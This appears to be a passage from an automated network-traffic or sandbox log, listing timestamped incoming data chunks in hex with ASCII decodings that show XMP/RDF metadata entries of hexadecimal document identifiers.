3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 44 43 42 43 46 Data Ascii: 51D16EA34FDA2D6964434E184124E</rdf:li> <rdf:li>1776E01F8F0E090B1ED431D55EE64C8C</rdf:li> <rdf:li>1779CCD7308DA03276A9DC03F1F4A81C</rdf:li> <rdf:li>177BC0EB99443CDD2C889A477256FA9C</rdf:li> <rdf:li>177C826CCB84929B9B744330236A9352</rdf:li> <rdf:li>177DCBCF
2022-07-20 13:44:28 UTC	6705	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 43 39 33 34 35 37 41 44 45 43 36 46 30 33 44 38 39 39 37 30 46 32 38 30 43 30 43 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 44 45 34 32 34 30 30 31 41 44 42 33 44 42 37 42 33 41 36 30 45 39 43 46 42 45 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 45 46 34 30 44 34 41 42 34 30 42 39 42 35 39 31 38 31 31 31 41 32 43 31 30 41 35 32 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 46 32 34 37 35 32 45 43 37 35 44 43 46 37 39 37 44 42 39 30 42 38 43 36 41 37 42 37 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 33 46 35 30 45 44 44 34 34 42 39 44 33 42 34 35 42 31 34 32 38 33 37 31 32 45 31 39 35 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>23EC93457ADEC6F03D89970F280C0C6A</rdf:li> <rdf:li>23EDE424001ADB3DB7B3A60E9CFBEC12</rdf:li> <rdf:li>23EF40D4AB40B9B5918111A2C10A52BE</rdf:li> <rdf:li>23F24752EC75DCF797DB90B8C6A7B77E</rdf:li> <rdf:li>23F50EDD44B9D3B45B14283712E195A2</rdf:li>
2022-07-20 13:44:28 UTC	6713	IN	Data Raw: 44 38 46 38 46 41 32 39 37 45 44 43 30 46 42 43 37 35 32 35 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 32 30 38 33 45 31 32 33 33 41 46 32 38 36 44 43 35 32 31 34 34 33 42 36 46 30 43 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 38 39 38 36 35 46 33 37 31 38 37 44 31 43 41 45 36 41 36 46 44 44 31 31 34 42 46 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 45 39 41 36 41 44 42 36 31 32 33 43 39 31 30 39 35 36 44 38 31 35 43 34 32 39 36 30 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 46 36 46 42 46 36 39 44 37 38 46 30 41 35 32 37 44 32 45 35 35 36 44 42 45 37 38 33 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 38 46 45 32 34 41 34 46 45 39 30 38 43 32 Data Ascii: D8F8FA297EDC0FBC75259D</rdf:li> <rdf:li>28E2083E1233AF286DC521443B6F0CB3</rdf:li> <rdf:li>28E89865F37187D1CAE6A6FDD114BF73</rdf:li> <rdf:li>28E9A6ADB6123C910956D815C42960B3</rdf:li> <rdf:li>28F6FBF69D78F0A527D2E556DBE783F3</rdf:li> <rdf:li>28FE24A4FE908C2
2022-07-20 13:44:28 UTC	6729	IN	Data Raw: 64 66 3a 6c 69 3e 33 33 35 43 35 37 34 35 39 32 41 39 42 38 38 42 43 35 36 37 35 31 35 31 31 46 39 45 45 37 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 36 45 30 38 45 46 45 33 42 46 33 32 32 43 42 39 34 43 35 31 34 44 41 42 36 38 44 37 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 37 30 34 39 46 34 30 42 46 31 46 33 34 38 30 41 42 41 45 43 45 35 30 31 46 36 35 44 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 37 39 32 41 35 44 46 44 33 35 44 46 41 43 42 34 37 36 43 34 39 35 38 41 33 33 42 37 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 33 37 42 41 37 32 30 43 38 39 46 35 43 41 45 35 30 38 31 46 43 32 41 36 42 34 30 30 33 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>335C574592A9B88BC56751511F9EE762</rdf:li> <rdf:li>336E08EFE3BF322CB94C514DAB68D77B</rdf:li> <rdf:li>337049F40BF1F3480ABAECE501F65D30</rdf:li> <rdf:li>33792A5DFD35DFACB476C4958A33B75A</rdf:li> <rdf:li>337BA720C89F5CAE5081FC2A6B400336</rdf:li> <rdf:li
2022-07-20 13:44:28 UTC	6745	IN	Data Raw: 35 34 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 45 46 42 33 31 39 31 30 31 36 42 30 42 45 41 37 30 30 33 37 31 33 45 44 45 37 33 32 36 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 34 36 46 35 35 45 38 41 46 35 44 45 31 43 31 30 39 34 31 46 41 45 37 37 35 35 34 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 35 42 46 42 37 39 44 39 32 41 34 39 46 33 46 44 46 34 39 36 37 45 34 31 32 37 43 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 41 45 31 35 31 35 46 30 32 42 42 43 38 42 31 39 46 39 30 46 39 34 39 42 38 30 46 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 46 30 44 41 45 39 32 39 44 36 36 46 32 41 42 37 43 45 31 43 31 34 41 32 44 45 32 39 30 45 33 3c Data Ascii: 54FF</rdf:li> <rdf:li>3EFB3191016B0BEA7003713EDE7326C8</rdf:li> <rdf:li>3F046F55E8AF5DE1C10941FAE7755491</rdf:li> <rdf:li>3F05BFB79D92A49F3FDF4967E4127C31</rdf:li> <rdf:li>3F0AE1515F02BBC8B19F90F949B80F9D</rdf:li> <rdf:li>3F0DAE929D66F2AB7CE1C14A2DE290E3<
2022-07-20 13:44:28 UTC	6753	IN	Data Raw: 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 43 38 35 43 34 36 46 31 32 41 38 38 45 34 43 42 43 34 39 42 41 36 37 45 43 45 38 36 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 32 37 44 31 39 45 39 30 36 35 41 35 46 35 31 38 33 38 36 30 45 34 31 36 36 34 43 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 38 43 31 31 36 36 31 32 35 44 30 45 32 38 39 46 44 33 35 30 43 41 41 43 44 35 38 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 44 45 37 44 39 42 44 34 33 36 45 43 38 39 41 33 30 35 37 41 44 31 34 46 37 42 37 33 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 34 45 39 36 31 38 33 31 41 33 39 34 36 42 45 46 32 38 31 30 33 38 42 43 37 30 31 39 39 38 33 3c 2f 72 Data Ascii: 30</rdf:li> <rdf:li>44C85C46F12A88E4CBC49BA67ECE8682</rdf:li> <rdf:li>44D27D19E9065A5F5183860E41664CB5</rdf:li> <rdf:li>44D8C1166125D0E289FD350CAACD58AA</rdf:li> <rdf:li>44DE7D9BD436EC89A3057AD14F7B73F9</rdf:li> <rdf:li>44E961831A3946BEF281038BC7019983</r
2022-07-20 13:44:28 UTC	6769	IN	Data Raw: 42 36 38 44 36 46 36 44 37 44 39 33 45 32 39 32 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 31 30 43 42 32 45 31 35 30 32 42 46 35 31 37 45 32 46 46 38 44 45 35 43 35 35 31 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 38 35 33 36 45 45 42 41 31 42 36 31 41 42 37 30 35 33 38 44 39 45 43 37 43 42 34 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 41 31 31 32 39 39 45 32 34 45 30 42 44 46 42 42 41 46 36 41 43 30 46 41 42 34 44 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 43 43 36 41 31 33 45 42 31 36 43 37 32 38 42 43 32 45 41 44 31 45 38 32 30 36 33 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 46 44 31 45 42 37 37 31 37 32 44 33 41 36 32 44 30 38 Data Ascii: B68D6F6D7D93E29236</rdf:li> <rdf:li>4FC10CB2E1502BF517E2FF8DE5C55196</rdf:li> <rdf:li>4FC8536EEBA1B61AB70538D9EC7CB437</rdf:li> <rdf:li>4FCA11299E24E0BDFBBAF6AC0FAB4DD4</rdf:li> <rdf:li>4FCC6A13EB16C728BC2EAD1E82063D6B</rdf:li> <rdf:li>4FD1EB77172D3A62D08
2022-07-20 13:44:28 UTC	6785	IN	Data Raw: 30 34 41 39 46 46 32 46 43 36 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 43 44 35 39 30 35 42 30 38 39 39 39 32 46 31 37 33 37 34 30 46 30 45 37 33 34 42 30 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 46 30 35 42 41 46 32 41 43 35 46 46 41 33 36 44 38 31 31 45 41 32 38 33 33 46 30 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 46 42 34 34 43 37 39 33 42 42 36 33 37 43 37 31 41 46 43 41 46 38 41 43 31 36 39 34 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 30 41 30 38 30 44 31 31 33 44 42 34 43 34 44 43 31 35 30 30 41 35 35 30 34 33 35 41 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 43 31 41 31 41 39 44 38 34 36 46 30 44 32 36 30 38 39 43 42 31 32 35 Data Ascii: 04A9FF2FC6A08</rdf:li> <rdf:li>5BCD5905B089992F173740F0E734B06F</rdf:li> <rdf:li>5BF05BAF2AC5FFA36D811EA2833F072B</rdf:li> <rdf:li>5BFB44C793BB637C71AFCAF8AC169425</rdf:li> <rdf:li>5C0A080D113DB4C4DC1500A550435A90</rdf:li> <rdf:li>5C1A1A9D846F0D26089CB125
2022-07-20 13:44:28 UTC	6793	IN	Data Raw: 33 31 35 42 32 31 39 33 39 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 41 44 42 31 36 45 43 31 30 35 42 42 32 32 37 39 39 30 43 42 31 33 30 36 33 33 45 45 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 42 39 43 44 43 32 34 31 42 46 33 41 33 39 32 45 38 37 34 45 31 37 37 39 42 37 44 41 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 42 45 36 46 35 36 39 46 43 43 34 38 42 32 44 45 43 38 34 38 45 42 36 41 44 33 39 41 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 43 34 46 34 43 46 34 41 35 32 42 41 43 34 39 46 43 44 46 35 34 36 43 30 34 44 30 38 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 32 44 30 32 39 43 35 38 44 31 37 45 46 31 34 44 42 30 41 45 43 41 35 42 39 Data Ascii: 315B21939B0</rdf:li> <rdf:li>62ADB16EC105BB227990CB130633EE60</rdf:li> <rdf:li>62B9CDC241BF3A392E874E1779B7DA7D</rdf:li> <rdf:li>62BE6F569FCC48B2DEC848EB6AD39A76</rdf:li> <rdf:li>62C4F4CF4A52BAC49FCDF546C04D0820</rdf:li> <rdf:li>62D029C58D17EF14DB0AECA5B9
2022-07-20 13:44:28 UTC	6809	IN	Data Raw: 38 32 39 36 39 44 43 31 34 39 31 46 43 30 36 36 38 35 42 33 46 41 44 32 44 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 36 35 43 37 36 39 45 43 45 34 36 37 33 34 36 45 35 44 42 45 38 35 37 43 44 46 34 32 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 37 31 37 31 39 44 46 45 46 32 43 41 45 46 45 31 33 42 36 38 34 44 30 35 31 35 36 38 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 37 31 43 33 34 45 42 37 45 45 46 46 36 44 33 45 31 32 41 43 39 31 34 31 33 43 37 38 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 37 41 44 39 34 44 31 43 38 43 36 37 41 33 42 42 45 43 38 43 46 44 39 44 35 30 37 31 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 45 38 35 31 45 33 35 31 30 Data Ascii: 82969DC1491FC06685B3FAD2D85</rdf:li> <rdf:li>6E65C769ECE467346E5DBE857CDF42D7</rdf:li> <rdf:li>6E71719DFEF2CAEFE13B684D05156895</rdf:li> <rdf:li>6E71C34EB7EEFF6D3E12AC91413C781D</rdf:li> <rdf:li>6E7AD94D1C8C67A3BBEC8CFD9D507101</rdf:li> <rdf:li>6E851E3510
2022-07-20 13:44:28 UTC	6825	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 35 44 44 41 33 33 33 33 31 35 32 44 45 30 33 30 30 44 41 37 38 36 45 44 37 33 36 38 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 37 36 44 45 30 46 33 36 33 44 31 46 37 31 37 38 41 31 46 41 46 41 33 32 35 41 35 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 41 42 32 46 41 43 36 43 41 42 30 34 37 33 42 35 43 43 43 43 37 36 41 33 44 45 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 43 43 44 39 43 38 33 41 31 36 39 44 38 33 42 35 36 30 31 34 36 37 34 43 33 42 39 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 41 36 45 36 31 34 33 41 38 41 46 41 41 41 34 32 34 42 32 44 38 35 30 32 34 34 34 32 46 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>7A5DDA3333152DE0300DA786ED73688D</rdf:li> <rdf:li>7A676DE0F363D1F7178A1FAFA325A52F</rdf:li> <rdf:li>7A6AB2FAC6CAB0473B5CCCC76A3DE902</rdf:li> <rdf:li>7A6CCD9C83A169D83B56014674C3B973</rdf:li> <rdf:li>7A6E6143A8AFAAA424B2D85024442F08</rdf:li> <r
2022-07-20 13:44:28 UTC	6832	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 38 30 43 37 39 33 30 43 32 42 33 42 35 35 41 44 34 33 35 44 43 41 39 37 30 46 34 46 31 46 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 30 46 46 43 38 46 45 33 45 45 44 39 33 31 38 44 41 36 39 37 37 42 39 38 39 46 34 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 31 45 44 35 38 36 35 34 37 37 34 45 36 45 44 34 41 35 38 46 38 35 43 33 39 36 36 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 44 43 34 36 41 35 45 33 42 37 31 39 38 37 33 38 31 39 37 30 45 46 41 39 38 41 44 46 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 45 41 35 41 43 42 33 34 42 46 30 35 41 44 31 38 33 35 34 34 34 41 38 33 35 36 35 46 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>80C7930C2B3B55AD435DCA970F4F1F13</rdf:li> <rdf:li>80D0FFC8FE3EED9318DA6977B989F43B</rdf:li> <rdf:li>80D1ED58654774E6ED4A58F85C3966B2</rdf:li> <rdf:li>80DC46A5E3B71987381970EFA98ADFF3</rdf:li> <rdf:li>80EA5ACB34BF05AD1835444A83565F86</rdf:li> <rdf
2022-07-20 13:44:28 UTC	6848	IN	Data Raw: 3a 6c 69 3e 38 41 38 44 43 43 33 42 44 32 43 44 30 46 31 31 46 31 42 46 36 34 35 44 36 33 43 38 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 38 45 31 46 43 33 30 39 30 33 45 31 31 38 37 34 42 30 34 42 32 38 36 38 43 45 42 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 41 42 44 36 36 31 32 30 38 43 45 39 44 33 43 43 34 31 31 42 38 39 42 42 44 41 42 33 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 42 32 34 36 30 44 43 41 42 33 43 39 33 34 44 32 34 43 30 33 30 46 38 44 33 34 39 36 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 43 37 42 32 37 36 45 42 38 46 33 45 43 39 38 31 46 42 39 37 32 33 42 46 36 31 42 31 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 Data Ascii: :li>8A8DCC3BD2CD0F11F1BF645D63C8EE2C</rdf:li> <rdf:li>8A8E1FC30903E11874B04B2868CEBFD2</rdf:li> <rdf:li>8AABD661208CE9D3CC411B89BBDAB3E6</rdf:li> <rdf:li>8AB2460DCAB3C934D24C030F8D349667</rdf:li> <rdf:li>8AC7B276EB8F3EC981FB9723BF61B1CE</rdf:li> <rdf:li>8
2022-07-20 13:44:28 UTC	6864	IN	Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 33 44 35 45 30 33 41 42 36 34 33 34 39 32 37 31 38 37 31 46 38 30 32 37 41 33 35 42 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 34 32 34 31 32 32 32 31 39 35 3c 2f 72 Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1EEA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>973D5E03AB64349271871F8027A35B95</rdf:li> <rdf:li>9744251F97AE9261B5FC584241222195</r
2022-07-20 13:44:28 UTC	6872	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 33 44 41 41 35 35 31 36 33 39 38 33 41 36 37 30 36 36 45 33 38 46 30 38 42 33 42 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 34 36 41 43 43 42 34 38 43 43 35 34 45 38 45 44 35 33 37 42 44 43 30 46 42 41 34 33 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 37 37 41 38 30 42 31 41 32 42 34 36 37 35 38 41 43 38 30 39 46 33 30 36 35 45 31 36 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 38 37 44 31 45 34 41 43 42 37 35 31 36 32 42 44 35 39 46 37 41 31 46 44 31 35 41 41 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 38 42 43 33 42 34 39 44 30 31 46 45 38 31 36 35 32 30 38 39 42 43 36 35 39 45 30 36 34 35 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>9C3DAA55163983A67066E38F08B3BB14</rdf:li> <rdf:li>9C46ACCB48CC54E8ED537BDC0FBA43F4</rdf:li> <rdf:li>9C77A80B1A2B46758AC809F3065E16B7</rdf:li> <rdf:li>9C87D1E4ACB75162BD59F7A1FD15AA29</rdf:li> <rdf:li>9C8BC3B49D01FE81652089BC659E0645</rdf
2022-07-20 13:44:28 UTC	6873	IN	Data Raw: 43 32 32 41 44 32 41 37 36 30 39 30 38 30 38 39 35 34 31 33 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 34 46 33 33 38 36 41 30 46 32 37 44 36 31 45 44 46 34 30 42 32 41 32 32 37 33 30 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 41 38 34 41 38 41 37 37 38 35 42 38 42 37 30 36 45 35 41 37 44 38 39 43 46 44 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 46 44 38 38 38 45 35 41 34 37 42 30 46 36 39 33 39 43 39 32 34 33 32 45 34 37 46 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 30 34 44 33 33 35 45 33 44 33 44 41 34 35 38 36 37 34 42 32 45 34 32 32 39 32 32 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 31 33 31 36 36 33 30 38 36 43 34 35 38 Data Ascii: C22AD2A7609080895413C</rdf:li> <rdf:li>9D04F3386A0F27D61EDF40B2A2273000</rdf:li> <rdf:li>9D0A84A8A7785B8B706E5A7D89CFDC0D</rdf:li> <rdf:li>9D0FD888E5A47B0F6939C92432E47F05</rdf:li> <rdf:li>9D204D335E3D3DA458674B2E422922F8</rdf:li> <rdf:li>9D2131663086C458
2022-07-20 13:44:28 UTC	6889	IN	Data Raw: 66 3a 6c 69 3e 41 38 35 32 30 32 31 33 33 34 37 43 45 36 30 34 31 45 31 33 42 45 36 41 37 45 37 38 37 31 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 35 34 31 42 33 38 44 39 45 42 31 44 46 38 42 35 44 46 39 36 46 34 34 46 32 37 36 37 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 35 45 37 32 44 34 41 39 44 41 37 33 38 31 30 37 33 42 43 30 34 44 46 33 34 30 39 42 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 36 30 44 34 39 39 45 43 32 30 39 38 34 43 34 33 45 45 30 38 41 31 32 35 36 36 42 41 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 37 30 34 43 34 32 41 34 46 44 30 37 38 43 35 30 38 44 30 38 31 30 44 42 34 34 35 36 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>A8520213347CE6041E13BE6A7E787161</rdf:li> <rdf:li>A8541B38D9EB1DF8B5DF96F44F27674A</rdf:li> <rdf:li>A85E72D4A9DA7381073BC04DF3409B28</rdf:li> <rdf:li>A860D499EC20984C43EE08A12566BA84</rdf:li> <rdf:li>A8704C42A4FD078C508D0810DB44568C</rdf:li> <rdf:li>
2022-07-20 13:44:28 UTC	6905	IN	Data Raw: 42 34 32 43 37 36 39 39 37 37 30 33 43 30 43 44 34 37 36 30 35 34 31 33 36 41 44 33 34 43 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 35 46 33 37 41 43 44 34 30 41 33 43 33 37 37 32 46 42 34 33 44 34 34 44 45 30 42 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 38 39 37 30 39 32 46 33 37 43 35 41 41 33 32 36 39 36 31 35 42 45 42 35 38 35 30 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 35 44 45 30 32 38 39 42 31 37 42 39 34 33 33 39 32 35 44 33 44 36 35 33 36 34 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 Data Ascii: B42C76997703C0CD476054136AD34C2C</rdf:li> <rdf:li>B435F37ACD40A3C3772FB43D44DE0B49</rdf:li> <rdf:li>B43897092F37C5AA3269615BEB5850F9</rdf:li> <rdf:li>B43B5DE0289B17B9433925D3D65364F5</rdf:li> <rdf:li>B43B79719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7
2022-07-20 13:44:28 UTC	6912	IN	Data Raw: 37 38 30 45 41 38 39 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 39 37 45 34 35 45 30 42 36 39 42 33 42 31 35 41 37 43 41 46 37 37 34 46 42 44 42 45 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 39 39 42 44 33 38 37 32 43 42 36 45 33 30 41 37 36 34 34 31 33 37 42 34 30 44 38 42 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 39 41 39 36 37 31 41 38 42 41 39 38 43 37 36 41 44 43 44 42 39 34 41 38 31 43 43 30 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 41 32 35 31 43 46 37 39 45 44 36 30 34 37 32 31 36 37 35 46 32 42 31 43 45 31 31 42 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 41 39 31 46 43 31 43 39 37 42 39 35 35 37 32 33 36 36 37 38 45 39 45 34 39 42 Data Ascii: 780EA8915</rdf:li> <rdf:li>B897E45E0B69B3B15A7CAF774FBDBE59</rdf:li> <rdf:li>B899BD3872CB6E30A7644137B40D8B89</rdf:li> <rdf:li>B89A9671A8BA98C76ADCDB94A81CC000</rdf:li> <rdf:li>B8A251CF79ED604721675F2B1CE11BD7</rdf:li> <rdf:li>B8A91FC1C97B9557236678E9E49B
2022-07-20 13:44:28 UTC	6928	IN	Data Raw: 30 42 45 30 41 41 30 33 34 36 33 46 37 37 45 41 30 44 45 44 32 44 36 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 37 38 44 43 46 31 42 36 33 45 35 32 38 39 36 31 43 41 45 39 30 33 38 33 35 42 31 44 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 38 31 38 46 30 41 41 45 35 39 31 31 37 43 31 46 37 30 42 43 33 39 36 45 36 45 45 34 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 38 39 31 38 43 44 34 31 46 36 37 34 34 39 46 41 39 45 30 35 45 31 32 33 44 37 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 41 36 42 43 39 41 46 30 44 42 41 44 46 44 32 34 36 37 42 41 43 30 35 35 36 35 41 42 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 42 36 35 39 35 42 30 31 36 34 Data Ascii: 0BE0AA03463F77EA0DED2D6C1</rdf:li> <rdf:li>C478DCF1B63E528961CAE903835B1DC3</rdf:li> <rdf:li>C4818F0AAE59117C1F70BC396E6EE4C6</rdf:li> <rdf:li>C48918CD41F67449FA9E05E123D7FD14</rdf:li> 